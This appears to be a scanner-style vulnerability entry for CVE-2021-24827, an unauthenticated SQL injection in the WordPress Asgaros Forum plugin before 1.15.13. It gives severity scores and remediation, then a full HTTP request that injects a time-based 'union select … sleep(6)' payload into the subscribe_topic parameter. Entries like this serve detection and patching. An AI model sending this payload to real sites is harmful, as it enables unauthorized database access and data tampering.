| Title | WordPress Asgaros Forum <1.15.13 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation. |
| Remediation | Upgrade to the latest version of Asgaros Forum (1.15.13 or higher) to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.72386 |
| CVE ID | CVE-2021-24827 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve2021 cve wp-plugin asgaros-forum unauth wpscan wordpress wp sqli asgaros vkev vuln |
WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
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